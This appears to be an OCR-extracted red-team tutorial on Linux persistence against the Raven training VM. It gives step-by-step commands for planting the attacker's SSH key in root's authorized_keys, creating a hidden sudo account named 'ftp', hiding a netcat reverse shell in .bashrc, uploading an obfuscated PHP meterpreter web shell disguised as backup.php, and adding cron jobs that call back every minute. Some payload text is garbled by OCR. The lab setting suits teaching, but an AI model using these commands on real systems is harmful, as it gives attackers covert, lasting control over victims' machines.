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Before You Begin

In order to follow along with the tools and techniques utilized in this document, you will need
to use one of the following offensive Linux distributions:

e Kali Linux
e Parrot OS

The demonstrations outlined in this document were performed against a vulnerable Linux
VM that has been configured to teach you the process of exploitation and privilege escalation.

It can be downloaded here: https://www.vulnhub.com/entry/raven-1,256/

The following is a list of recommended technical prerequisites that you will need in order to
get the most out of this course:

e Familiarity with Linux system administration.

e Familiarity with Windows.

e Functional knowledge of TCP/IP.

e Familiarity with penetration testing concepts and life-cycle.

Note: The techniques and tools utilized in this document were performed on Kali Linux
2021.2 Virtual Machine

MITRE ATT&CK Persistence Techniques

Persistence consists of techniques that adversaries use to keep access to systems across
restarts, changed credentials, and other interruptions that could cut off their access.
Techniques used for persistence include any access, action, or configuration changes that let
them maintain their foothold on systems, such as replacing or hijacking legitimate code or
adding startup code.

Gaining an initial foothold is not enough, you need to set up and maintain persistent access
to your targets.

The techniques outlined under the Persistence tactic provide us with a clear and methodical
way of obtaining establishing persistence on the target system.
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The following is a list of key techniques and sub techniques that we will be exploring:
e Account Manipulation

Persistence via SSH Keys
Creating a privileged local account

Unix shell configuration modification

Backdooring the .bashrec file
Web Shell/Backdoor

Cron jobs

Scenario

Our objective is to establish persistence on the Linux target after we have obtained an initial
foothold.

Note: Some persistence techniques will require “root” privileges in order to be executed
successfully.

Persistence via SSH Keys

The first persistence technique we will be exploiting is the process of generating and using
SSH key-based authentication as opposed to password-based authentication. This
persistence technique will help maintain access to the target system if the user account
passwords have been changed, as this is quite a common practice in companies that have
password security policies in place.

Note: This technique requires Public Key Authentication to be enabled in the SSH
configuration file, more information see SSH add keys

In order to perform this technique, you need to have obtained initial access to the target
system and you will require “root” privileges if you wish to modify the SSH configuration file.

1. The first step will involve generating the SSH key-pair, this will need to be done on your
Kali VM as this is the system we will be using for authentication via SSH. This can be
done by running the following command:

ssh-keygen
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2. As highlighted in the following screenshot, this will prompt you to specify the storage
location for the public and private keys that will be generated, as well as a passphrase
for the SSH key. In this case, we will use the default options.

>

Generating public/private rsa key pair.

Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint 1is:

SHA256 : HPY7+mxqEIs/JwiAfG7+us@BMX+Jez257x1EsHm8Zhs kali@kali
The key's randomart image is: I

3. After generating the public and private key pair, you will need to copy the content of the
public key (id_rsa.pub) you generated and add it to the “authorized_keys” file in the
target user account’s .ssh directory on the target system. In this case, we will be adding
the public key to the “authorized_keys” file of the “root” user located in

/root/.ssh/authorized_keys .

Note: If the .ssh directory and “authorized_keys” file don’t exist, you will need to create
them, this can be done by running the following commands:

mkdir ~/.ssh

touch ~/.ssh/authorized_keys

4. After pasting in the contents of the public key you generated into the “authorized_keys”
file, it should look similar to the screenshot shown below.

root@Raven:~/.ssh# cat authorized_keys

ssh-rsa AAAAB3NzaC1yc2EARAADAQABAAABgQDABKgPNNgt9p50J+Di9D77vD
7x0mtIwi2gwlLRI2nScIo7r TWVcK4KUwY4CRgNggq9fIQvFtvqTSAkzPgJI90qin
0Z7111Xr7dVGCabc8YAX27jj/MsKHTga9TkEzcL4YahWoKFf/P@QE/XJacQvXtI
xdaaXxC96WDzalWoek/P2U10BWBmsVymrRfpB1XpoUwnmkYggVOk0A7ca5K41@
NGyBOY+IbwICreEBfoH5/2k6A6fU/bAL4YvueC6ThruSD4YWth/bLRQO8LEZiYm

kbRLOCi+gwz2n86pxWSC3N/baTr9t59x8RYsqF INVTkwlZUA3EVbnTZsHQzUy4
paa3nJO1XGWqj9WiOTzmB5BygRHjx6DNrE@pSXsCIBKyI3wyBQ2yG5D8fP35t+
GLIgm4fLHWQzFgEKS5YWGfDRSBu/qwZOTRDLtGgqCOM3t2LhgzSGIgqQdYONyhmg
6M15uzUVnXqw8NpGLtzseoupodiliznESTpZF@Drk3Nggx7vfGl1im6E= kali@
kali
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5. It is also recommended to apply the necessary permissions to the .ssh directory and
“authorized_keys” file, this can be done by running the following commands:

chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

6. As shown in the following screenshot, after adding the public key you generated, you
will now be able to authenticate to the target via SSH without providing a password.

kalickali ~/Desktop/Red-Team/Linux [20:24:41]
root@192.168.2.157

he programs included with the Debian GNU/Linux system are free software

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Mon Aug 13 17:26:19 2018

root@Raven: ~#

We have now been able to successfully set up persistent access via SSH keys and
consequently mitigating any future authentication failures caused by changed
passwords.

Creating A Privileged Local Account

The next persistence technique we will be exploring is the process of creating a privileged
local account for backdoor access, this technique can be used to maintain access to a target
system if a user account password is changed, however, creating a local user account may
lead to detection on servers that have fewer user and service accounts as a new user will
easily be noticed.

In order to evade detection, we will create a user account with a name that is clandestine, in
this case, we will be creating a user account named “ftp” in order to blend in as a service
account.

Note: You will require “root” privileges in order to create a new user account on Linux
systems.

1. We can create the user account on the target by running the following command:

useradd -m -s /bin/bash ftp
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2. After creating the account, we will need to add the user to the “sudo” group, this will
provide the user with administrative privileges, this can be done by running the
following command:

usermod -aG sudo ftp

3. After adding the user account to the “sudo” group, we will need to setup a password for
the account, this can be done by running the following command:

passwd ftp

4. After specifying the password, we can list out the contents of the /etc/passwd file to
confirm that the user account has been added.

smmta:x:108:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:109:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false

ysql:x:110:116:MySQL Server,,,:/nonexistent:/bin/false
steven:x:1001:1001: :/home/steven:/bin/sh
ftp:x:1002:1002:: /home/ftp:/bin/bash

5. You can now authenticate with the new user account via SSH password authentication,
alternatively, you can also add the ssh public key we generated in the first section to the
“authorized_keys” file in the user account’s home password.

6. After authenticating with the server via SSH, we can confirm that the user account has
administrative privileges by using the sudo command.

tp@Raven:/root$ cd ~
tp@Raven:~$ sudo apt update

e trust you have received the usual lecture from the local System
dministrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

sudo] password for ftp:

As shown in the preceding screenshot, the user account has administrative privileges
and can run any command on the system without accessing or interacting with a “root”
account.

This account can be used for backdoor access whenever you want to avoid using the
“root” account or any other legitimate user accounts on the target system and ensures
that you have overt access to the target.
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Unix Shell Configuration Modification

This persistence technique will involve adding a bash reverse command that will connect
back to our netcat listener in a user account’s .bashre file. The .bashrec file is a config file that
is used to customize bash and is executed when a user logs in with the bash shell.

1. The first step will involve opening the .bashrec file with a text editor This can be done by
running the following command:

nano ~/.bashrc

2. After opening the file with a text editor, we can add a simple bash command that will
provide us with a reverse shell whenever a user logs in. This can be done by adding the
following command:

nc -e /bin/bash <KALI-IP> <PORT> 2>/dev/null &

As shown in the following screenshot, the command should contain your Kali IP and
port netcat is listening on.

# Some more alias to avoid making mistakes:
# alias rm="rm -1’
# alias cp="cp -1’
# alias mv="mv -1’

nc -e /bin/bash 192.168.2.21 1234 2>/dev/null

3. After adding the bash command to the .bashrec file, we can set up a listener with Netcat
on Kali by running the following command:

nc -nvlp <PORT>

4. Whenever a user logs in to the user account, the command in the .bashrec file will be
executed and will consequently provide you with a reverse shell on the netcat listener as
shown in the following screenshot.

We have now been able to set up persistence via the .bashre file, this technique has the
added advantage of being harder to detect as the reverse shell command is hidden
within a legitimate configuration file.

Persistence Via Web Shell
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This persistence technique involves generating and uploading a PHP web shell to the target
server. Given that the target server is running the LAMP stack, we can create a PHP
meterpreter payload and upload it to the web server as a backdoor.

1. The first step will involve generating the PHP meterpreter payload with Msfvenom, this
can be done by running the following command:

msfvenom -p php/meterpreter/reverse_tcp LHOST=<KALI-IP> LPORT=<PORT> -e
php/base64 -f raw > backup.php

In order to evade detection, we will save the payload with a filename of “backup.php”.

2. Once you have generated the payload, you will need to modify it by adding the PHP tags
so that the script is executed correctly as shown in the following screenshot.

<?php

eval(base64_decode(Lyo8P3BocCAVKiovIGVYcm9IyX3I1cGIydGluZygwKTsgIGLwIDOgIZESMi4xNjguMisyMSc7ICRwb3JOIDOEMTIZNDsgaWYgKCgkZi-
A9ICdzdHI1YW1fc29ja2veX2NsaWwvudCcpICYmIGlzX2NhbGxhYmx1KCRmKSkgeyAkcyA9ICRmMKCIOY3A6LY97IGlwfTp7IHBVCNRITik7 ICRZX3R5CGUEPSA-
nc3RyZWFtIzsgfSBpZiAoISRzICYmICgkZiA9ICdmec29ja29wZW4nKSAMIiBpc19)YWxsYWIsZSgkZikpIHsgIHMgPSAkZigkaXAsICRwb3J0OKTsgIHNTfdHw-
ZSA9ICdzdHILYWONOyB9IGImICghJHMg IiYgKCRMIDOgI3NvY2t1dF9jcmVhdGUnKSAMIiBpc19)YWxsYWIsZSgkZikpIHsgIHMgPSAkZihBR19ITKVULCBTT-
ONLXINUUKVBTSWgUOIMX1RDUCK7ICRYZXMgPSBAC29)a2VOX2Nvbm51Y3QoIHMSICRpcCwg IHBYCNQpOyBpZiA0ISRYZXMpIHSEZG11KCK7 THOgIHNfdH1wZS -
A9ICdzb2NrzXqQnoyB9IGLmICghIHNTdHlwZSkgeyBkaWUoJ25vIHNVY2t1dCBmdWS jcycpOyB9IGImICghIHMpIHSgZGl1KCdubyBzb2NrZXQnKTsgfSBzd21-
0Y2ggKCRzX3R5cGUpPIHSgY2FzZSANC3RyZWFtJ1zogIGXx1biA9IGZyZWFKKCRZLCAGKTsgYnILlYWs7IGNhc2UgI3NvY2t1dCc6ICRSZW4gPSBzb2NrZXRfcmVh-

ZCgkcywgNCk7I1GIyZWFroyB9IGImICghIGx1bikgeyBkawUoKTsgfSAKYSA9THVUCGF jaygi . Tmx1biIsICRsZW4pOyAkbGVUIDOgIGFbI2x1biddoyAkYiA9-
ICCnDy53aGlSZSAGc3RybGVuKCRiKSABICRSZW&pIHSg(3dpdGN01CgkleBeXBlKSB7IGNhCZUgJSNOCthbSCbICRiIC49IGZyZWFkKCRZLCAkbGVuLXNOC—
mxLlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2velzoglGIgLjogc29)a2veX3I1YWQoIHMSICRSZW4tc3RybGVUKCRIKSK7 IGIYyZWFrOoyB9IHOgIEAMTOIBTF -
NhJZlZZBNVY)SnXSAQICRZOyAkR@xPQkFMUlsnﬂanc29j61909X81Jl@gPSAkclgoexﬁloprZiAOZXhQZWSZaW9uX2xvYWR12(gn(3an3NphicpICYmIGl~
uavonzxQol3N1aG9zaWsuzxhlY3veb3IuzGlzYWIsZvoldmFsIykpIHsgIHN1aG9zaw5fYnlwYXNzPWNyZWFOZVImdWSjdGlvbignlywgIGIpoyAkc3Vob3Np-
blpieXBhc3MoKTsgfSBLbHNLIHSgZXZhbCgkYik7IHOgZGLIKCK )) ;

>y

3. We can now set up the listener with Metasploit by running the following commands:
msfconsole
use multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <KALI-IP>

set LPORT <PORT>
run

4. The next step will involve uploading the PHP shell that we just generated to the web
server, this can be done by setting up a local web server on the Kali VM:

sudo python -m SimpleHTTPServer 80
5. Then, download it on the target:

wget http://<KALI-IP>/backup.php

In this case, we will be uploading the “backup.php” file to the root of the webserver
under the /var/www/html directory as shown in the following screenshot.

6. We can retrieve a meterpreter session on the target by navigating to the “backup.php”
file on the webserver by accessing the following URL with your browser:

http://<SERVER-IP>/backup.php
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7. Accessing the through the browser should execute the PHP code and consequently
provide you with a meterpreter session on your listener as shown in the following
screenshot.

We have been able to successfully set up persistence by uploading a meterpreter web
shell that allows us to maintain access to the target server without authenticating via
SSH.

Persistence Via Cron Jobs

This technique involves leveraging Cron jobs to maintain persistent access to the target
system by executing a reverse shell command or a web shell repeatedly on a specified
schedule.

Cron is a time-based service that runs applications, scripts, and other commands repeatedly
on a specified schedule.

Cron provides you with the ability to run a program, script, or command periodically at
whatever time you choose, these Cron jobs are then stored in the “crontab” file.

1. We can add a cron job on the target system by editing the crontab file, this can be done
by running the following command on the target system:

crontab -e

2. We can now add a new cron job that will execute a netcat command every minute, this
can be done by adding the following line to the crontab file:

¥ % % % % nc <KALI-IP> <PORT> -e /bin/sh

As shown in the following screenshot, this cron job will connect to a netcat listener
every minute.

3. After adding the cron job, you will need to save the file.
4. We can now set up our netcat listener by running the following command on Kali:
nc -nvlp <PORT>

After one minute, the cron job will be executed and you should receive a reverse shell
on your netcat listener as shown in the following screenshot.
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5. Alternatively, instead of using netcat to obtain a reverse shell, we can create a cron job
that executes the PHP meterpreter shell we created and uploaded in the previous
section. This can be done by adding the following line to the crontab file:

* * * * % php -f /var/www/html/backup.php

As shown in the following screenshot, after one minute you should receive a
meterpreter session.

We have now been able to successfully setup persistence on the target server by
creating a cron job that connects back to our listener, additionally, we were also able to
setup a cron job that executes the PHP meterpreter shell we uploaded to the target
server.
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